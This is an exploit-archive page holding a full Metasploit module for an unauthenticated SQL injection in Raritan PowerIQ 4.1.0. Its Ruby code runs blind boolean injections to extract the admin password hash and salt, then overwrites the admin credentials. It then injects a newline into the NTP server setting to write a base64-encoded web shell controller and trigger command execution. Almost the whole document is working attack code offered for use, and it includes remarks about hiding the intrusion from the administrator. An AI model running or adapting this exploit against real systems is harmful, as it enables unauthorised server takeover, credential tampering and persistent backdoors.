exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Raritan PowerIQ Unauthenticated SQL Injection

Raritan PowerIQ Unauthenticated SQL Injection
Posted Jul 18, 2014
Authored by Brandon Perry

This Metasploit module will exploit an unauthenticated SQL injection in order to gain a shell on the remote victim. This was tested against PowerIQ version 4.1.0. The 'check' command will attempt to pull the banner of the DBMS (PGSQL) in order to verify exploitability via boolean injections. In order to gain remote command execution, multiple vulnerabilities are used.

tags | exploit, remote, shell, vulnerability, sql injection
SHA-256 | 82be59d3b7e4fb6726460b589da8c608cb66c0ecd7ab47efe0c8055b4159d2f7

Raritan PowerIQ Unauthenticated SQL Injection

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Raritan PowerIQ Unauthenticated SQL Injection",
'Description' => %q{
This module will exploit an unauthenticated SQL injection in order to gain
a shell on the remote victim. This was tested against PowerIQ v4.1.0.

The 'check' command will attempt to pull the banner of the DBMS (PGSQL) in
order to verify exploitability via boolean injections.

In order to gain remote command execution, multiple vulnerabilities are used.

I use a SQL injection to gain administrative access.

I use a newline injection to save an NTP server I shouldn't be able to save.

By saving this unsanitized NTP server, I can execute commands as 'nginx' with
a request to the server's web application.

You can find a trial ISO at the following link. CentOS-based with PGSQL.
This is what this module was tested against.

http://cdn.raritan.com/download/power-iq/v4.1.0/power-iq-v4.1.0.73.iso

Trial license:
http://d3b2us605ptvk2.cloudfront.net/download/power-iq/RAR_PWIQ5FL_W7rYAAT_13JAN10_1206.lic

If for some reason these links do not work, I "registered" for the trial here:
https://www1.raritan.com/poweriqdownload.html
},
'License' => MSF_LICENSE,
'Author' =>
[
],
'References' =>
[
],
'DefaultOptions' =>
{
'SSL' => true,
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'BadChars' => "\x20",
'Compat' =>
{
'RequiredCmd' => 'generic perl python',
}
},
'Targets' =>
[
['Raritan PowerIQ v4.1.0', {}]
],
'Privileged' => false,
'DisclosureDate' => "",
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
], self.class)
end

#In order to check for exploitability, I will enumerate the banner
#of the DBMS until I have it match a regular expression of /postgresql/i
#
#This isn't optimal (takes a few minutes), but it is reliable. I use
#a boolean injection to enumerate the banner a byte at a time.
def check

#First we make a request that we know should return a 200
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'license', 'records'),
'method' => 'POST',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'data' => 'sort=id&dir=ASC'
})

if !res or res.code != 200
return Exploit::CheckCode::Safe
end

#Now we make a request that we know should return a 500
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'license', 'records'),
'method' => 'POST',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'data' => "sort=id'&dir=ASC"
})

if !res or res.code != 500
print_error("Probably not vulnerable.")
return Exploit::CheckCode::Safe
end

#If we have made it this far, we believe we are exploitable,
#but now we must prove it. Get the length of the banner before
#attempting to enumerate the banner. I assume the length
#is not greater than 999 characters.
print_status("Attempting to get banner... This could take several minutes to fingerprint depending on network speed.")

length = ''
(1..3).each do |l|
(47..57).each do |i|
str = "sort=id,(SELECT (CASE WHEN (ASCII(SUBSTRING((COALESCE(CAST(LENGTH(VERSION()) AS CHARACTER(10000)),(CHR(32))))::text FROM #{l} FOR 1))>#{i}) THEN 1 ELSE 1/(SELECT 0) END))&dir=ASC"

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'license', 'records'),
'method' => 'POST',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'data' => str
})

if res and res.code == 500
length << i.chr
break
end
end
end

if length == ''
return Exploit::CheckCode::Safe
end

print_status("Looks like the length of the banner is: " + length)

#We have the length, now let's get the banner until it matches
#the regular expression /postgresql/i
banner = ''
(1..length.to_i).each do |c|
(32..126).each do |b|
str = "sort=id,(SELECT (CASE WHEN (ASCII(SUBSTRING((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32))))::text FROM #{c} FOR 1))>#{b}) THEN 1 ELSE 1/(SELECT 0) END))&dir=ASC"

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'license', 'records'),
'method' => 'POST',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
},
'data' => str
})

if res and res.code == 500
banner << b.chr

if c%10 == 0
vprint_status("#{((c.to_f/length.to_f)*100).to_s}% done: " + banner)
end

if banner =~ /postgresql/i
print_good("Looks like you are vulnerable.")
vprint_good("Current banner: " + banner)
return Exploit::CheckCode::Vulnerable
end

break
end
end
end

#If we reach here, we never matched our regex, which means we must
#not be vulnerable.
return Exploit::CheckCode::Safe
end

def exploit

print_status("Checking if vulnerable before attempting exploit.")

if check == Exploit::CheckCode::Vulnerable
print_status("We are vulnerable. Exploiting.")
print_status("Caching current admin user's password hash and salt.")
print_status("I can set it back later and they will be none the wiser")

print_status("Grabbing current hash")
old_crypted_password = get_admin_column_value("crypted_password")
print_status("Old hash: " + old_crypted_password)

print_status("Grabbing current salt")
old_salt = get_admin_column_value("salt")
print_status("Old salt: " + old_salt)

print_status("Resetting admin user credentials to admin:Passw0rd!")

headers = {
'X-Requested-With' => 'XMLHttpRequest'
}

salt_inj = ';UPDATE users set salt = (CHR(56)||CHR(102)||CHR(51)||CHR(99)||CHR(99)||CHR(101)||CHR(100)||CHR(100)||CHR(102)||CHR(51)||CHR(48)||CHR(50)||CHR(98)||CHR(51)||CHR(101)||CHR(50)||CHR(52)||CHR(54)||CHR(53)||CHR(100)||CHR(54)||CHR(101)||CHR(56)||CHR(53)||CHR(54)||CHR(101)||CHR(56)||CHR(56)||CHR(49)||CHR(56)||CHR(99)||CHR(54)||CHR(50)||CHR(49)||CHR(55)||CHR(100)||CHR(52)||CHR(100)||CHR(48)||CHR(52)) WHERE login = (CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110))--'
hash_inj = ';UPDATE users set crypted_password=(CHR(56)||CHR(52)||CHR(99)||CHR(52)||CHR(50)||CHR(48)||CHR(101)||CHR(52)||CHR(48)||CHR(52)||CHR(57)||CHR(54)||CHR(57)||CHR(51)||CHR(48)||CHR(101)||CHR(50)||CHR(55)||CHR(51)||CHR(48)||CHR(49)||CHR(98)||CHR(49)||CHR(48)||CHR(57)||CHR(51)||CHR(48)||CHR(101)||CHR(53)||CHR(57)||CHR(54)||CHR(54)||CHR(54)||CHR(51)||CHR(56)||CHR(101)||CHR(48)||CHR(98)||CHR(50)||CHR(49)) WHERE login = (CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110))--'

post = {
'sort' => 'id' + salt_inj,
'dir' => 'ASC'
}

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'license', 'records'),
'method' => 'POST',
'headers' => headers,
'vars_post' => post
})

if !res or res.code != 200
fail_with("Server did not respond in an expected way")
end

post['sort'] = 'id' + hash_inj
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'license', 'records'),
'method' => 'POST',
'headers' => headers,
'vars_post' => post
})

if !res or res.code != 200
fail_with("Server did not respond in an expected way")
end

print_status("Authenticating with admin:Passw0rd!")
post = {
'login' => 'admin',
'password' => 'Passw0rd!'
}

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'login', 'login'),
'method' => 'POST',
'vars_post' => post
})

if !res or res.code != 302
fail_with("Authentication failed.")
end

cookie = res.get_cookies

print_status("Setting some stuff up")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'time_servers.json'),
'headers' => headers,
'cookie' => cookie
})

if !res or res.code != 200
fail_with("Server did not respond in an expected way.")
end

servers = JSON.parse(res.body)

post = {
'_method' => '_delete',
'hosts' => servers["servers"].to_json
}

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'time_servers', 'destroy_batch'),
'method' => 'DELETE',
'vars_post' => post,
'headers' => headers,
'cookie' => cookie
})

if !res or res.code != 200
fail_with("Server did not respond in an expected way.")
end

print_status("Sending stager")

stage = '`echo${IFS}Ye2xhc3MgRmRzYUNvbnRyb2xsZXIgPCBBY3Rpb25Db250cm9sbGVyOjpCYXNlCiAgZGVmIGluZGV4'
stage << 'CiAgICByZXQgPSBgI3twYXJhbXNbOmNtZF19YAogICAgcmVkaXJlY3RfdG8gcmV0CiAgZW5kCmVu'
stage << 'ZCAKIAoK|base64${IFS}--decode>/opt/raritan/polaris/rails/main/app/controllers/rewq_controller.rb`'

post = {
'host[server]' => "www.abc.com\x0aserver " + stage,
'host[ip_type]' => '0'
}

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'time_servers'),
'method' => 'POST',
'vars_post' => post,
'headers' => headers,
'cookie' => cookie
})

if !res or res.code != 200 or res.body =~ /false/
fail_with("Server did not respond in an expected way.")
end

post = {
'_method' => '_delete',
'hosts' => '[{"server":"www.abc.com", "ip_type":0}]'
}

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'time_servers', 'destroy_batch'),
'method' => 'DELETE',
'vars_post' => post,
'headers' => headers,
'cookie' => cookie
})

if !res or res.code != 200
fail_with("Server did not respond in an expected way.")
end

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'application_settings', 'edit'),
'cookie' => cookie
})

if !res or res.code != 200
fail_with("Server did not respond in an expected way.")
end

res.body =~ /boxLabel: "Enable NTP",\n checked: (true|false),\n listeners/m

checked = $1

if checked == "true"
post = {
'_method' => 'put',
'rails_options[time_zone]' => 'UTC',
'date_time' => '',
'rails_options[ntp_enabled]' => 'off'
}

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'time_setting'),
'vars_post' => post,
'method' => 'POST',
'cookie' => cookie
})

if !res or res.code != 302
fail_with("Server did not respond in an expected way")
end
end

post = {
'_method' => 'put',
'rails_options[time_zone]' => 'UTC',
'date_time' => '',
'rails_options[ntp_enabled]' => 'on'
}

print_status("Triggering stager")

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'time_setting'),
'method' => 'POST',
'vars_post' => post,
'cookie' => cookie,
})

end
end

def get_admin_column_value(column)
ret = ''

(1..40).each do |i|
[*('0'..'9'),*('a'..'f')].each do |c|
inj = "(SELECT (CASE WHEN (ASCII(SUBSTRING((SELECT COALESCE(CAST(#{column} AS CHARACTER(10000)),(CHR(32))) FROM users WHERE login = (CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)) OFFSET 0 LIMIT 1)::text FROM #{i} FOR 1))>#{c.ord}) THEN 1 ELSE 1/(SELECT 0) END))"

post = {
'sort' => 'id,' + inj,
'dir' => 'ASC'
}

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'license', 'records'),
'method' => 'POST',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_post' => post
})

if !res
fail_with("Server did not respond in an expected way")
end

if res.code == 500
vprint_status("Got character '"+c+"' for index " + i.to_s)
ret << c
break
end
end
end

return ret
end
end
Login or Register to add favorites

File Archive:

August 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    20 Files
  • 2
    Aug 2nd
    4 Files
  • 3
    Aug 3rd
    6 Files
  • 4
    Aug 4th
    55 Files
  • 5
    Aug 5th
    16 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    13 Files
  • 9
    Aug 9th
    13 Files
  • 10
    Aug 10th
    34 Files
  • 11
    Aug 11th
    16 Files
  • 12
    Aug 12th
    5 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    25 Files
  • 16
    Aug 16th
    3 Files
  • 17
    Aug 17th
    6 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close